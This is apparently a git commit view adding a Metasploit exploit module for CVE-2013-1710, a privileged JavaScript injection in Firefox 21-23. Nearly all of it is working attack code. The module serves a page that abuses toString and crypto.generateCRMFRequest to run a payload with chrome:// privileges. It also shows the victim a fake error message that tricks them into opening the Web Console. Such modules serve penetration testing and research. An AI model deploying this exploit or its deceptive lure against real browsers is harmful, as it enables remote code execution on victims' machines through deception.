|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 12 | + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Firefox toString User-Assisted Privileged Javascript Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + This exploit gains remote code execution on Firefox 21-23 by abusing two separate |
| 19 | + Javascript-related vulnerabilities to ultimately inject malicious Javascript code |
| 20 | + into a context running with chrome:// privileges. |
| 21 | +
|
| 22 | + For the exploit to work, the user must have the Web Console open. There is no way to |
| 23 | + trigger this from unprivileged Javascript, so for now a message is displayed telling |
| 24 | + the user that there is an error and to press cmd-option-k to open the Web Console, |
| 25 | + upon which the exploit will immediately run. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => [ |
| 29 | + 'moz_bug_r_a4', # discovered CVE-2013-1710 |
| 30 | + 'joev' # metasploit module |
| 31 | + ], |
| 32 | + 'DisclosureDate' => "Aug 6 2013", |
| 33 | + 'References' => [ |
| 34 | + ['CVE', 'CVE-2013-1710'] # bypass Chrome Object Wrapper to talk to chrome:// |
| 35 | + ], |
| 36 | + 'Targets' => [ |
| 37 | + [ |
| 38 | + 'Universal (Javascript XPCOM Shell)', { |
| 39 | + 'Platform' => 'firefox', |
| 40 | + 'Arch' => ARCH_FIREFOX |
| 41 | + } |
| 42 | + ], |
| 43 | + [ |
| 44 | + 'Native Payload', { |
| 45 | + 'Platform' => %w{ java linux osx solaris win }, |
| 46 | + 'Arch' => ARCH_ALL |
| 47 | + } |
| 48 | + ] |
| 49 | + ], |
| 50 | + 'DefaultTarget' => 0, |
| 51 | + 'BrowserRequirements' => { |
| 52 | + :source => 'script', |
| 53 | + :ua_name => HttpClients::FF, |
| 54 | + :ua_ver => lambda { |ver| ver.to_i.between?(21, 23) } |
| 55 | + } |
| 56 | + )) |
| 57 | + |
| 58 | + register_options([ |
| 59 | + OptString.new('CONTENT', [ |
| 60 | + true, |
| 61 | + "Content to display inside the HTML <body>.", |
| 62 | + "An error has occurred. Press <script>document.write((navigator.platform.match(/mac/i)) ? 'cmd-option-k' : 'ctrl-alt-k')</script> to see the error." |
| 63 | + ]) |
| 64 | + ], self.class) |
| 65 | + end |
| 66 | + |
| 67 | + def on_request_exploit(cli, request, target_info) |
| 68 | + send_response_html(cli, generate_html(target_info)) |
| 69 | + end |
| 70 | + |
| 71 | + def generate_html(target_info) |
| 72 | + opts = { |
| 73 | + :payload => run_payload # defined in FirefoxPrivilegeEscalation mixin |
| 74 | + } |
| 75 | + |
| 76 | + %Q| |
| 77 | + <!doctype html> |
| 78 | + <html> |
| 79 | + <body> |
| 80 | + <script> |
| 81 | + var opts = #{JSON.unparse(opts)}; |
| 82 | + var y = {}; |
| 83 | + y.constructor.prototype.toString=function() { |
| 84 | + if (window.q) return; |
| 85 | + window.q = true; |
| 86 | + crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, opts.payload, 1024, null, "rsa-ex"); |
| 87 | + return 5; |
| 88 | + }; |
| 89 | + console.dir(y); |
| 90 | + </script> |
| 91 | + #{datastore['CONTENT']} |
| 92 | + </body> |
| 93 | + </html> |
| 94 | + | |
| 95 | + end |
| 96 | +end |
| 97 | + |
0 commit comments